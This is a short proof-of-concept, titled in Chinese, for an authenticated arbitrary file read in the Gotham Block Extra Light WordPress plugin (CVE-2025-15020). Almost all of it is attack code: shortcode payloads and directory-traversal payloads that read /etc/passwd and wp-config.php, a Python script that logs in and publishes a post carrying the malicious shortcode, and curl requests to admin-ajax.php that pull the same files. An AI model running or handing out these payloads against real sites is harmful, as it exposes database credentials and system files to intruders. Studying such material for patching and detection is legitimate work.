CVE-2025-15020 Gotham Block Extra Light插件任意文件读取漏洞

<?php /** * CVE-2025-15020 PoC - Gotham Block Extra Light Plugin Arbitrary File Read * * This PoC demonstrates the arbitrary file read vulnerability in the * Gotham Block Extra Light plugin (versions <= 1.5.0) via the ghostban shortcode. * * Usage: Authenticated attacker with contributor-level access or higher can exploit. */ // WordPress shortcode exploitation example // Attacker creates a post/page with the following content: $poc_shortcode = '[ghostban file_path="/etc/passwd"]'; // Directory traversal attack example $poc_shortcode_traversal = '[ghostban file_path="../../../wp-config.php"]'; // Python requests PoC $python_poc = ' import requests from bs4 import BeautifulSoup target = "http://target-wordpress-site.com" username = "attacker" password = "attacker_password" # Login to WordPress session = requests.Session() login_url = f"{target}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/" } session.post(login_url, data=login_data) # Create a post with malicious shortcode post_url = f"{target}/wp-admin/post-new.php" post_data = { "post_title": "Malicious Post", "content": "[ghostban file_path=\"/etc/passwd\"]", "post_status": "publish" } response = session.post(post_url, data=post_data) # View the published post to trigger file read post_link = f"{target}/?p=<POST_ID>" result = session.get(post_link) print(result.text) '; // cURL PoC for quick testing $curl_poc = ' # Read /etc/passwd curl -X POST "http://target-wordpress-site.com/wp-admin/admin-ajax.php" \ -d "action=ghostban_read&file_path=/etc/passwd" \ -H "Cookie: wordpress_logged_in_<HASH>=<session_cookie>" # Read wp-config.php using directory traversal curl -X POST "http://target-wordpress-site.com/wp-admin/admin-ajax.php" \ -d "action=ghostban_read&file_path=../../../wp-config.php" \ -H "Cookie: wordpress_logged_in_<HASH>=<session_cookie>" '; // Metasploit module reference $msf_reference = ' # The vulnerability can be exploited using Metasploit framework # Reference: https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/CVE-2025-15020 '; // Note: The actual exploitation requires authentication with contributor+ privileges // and the ability to create/publish content on the WordPress site.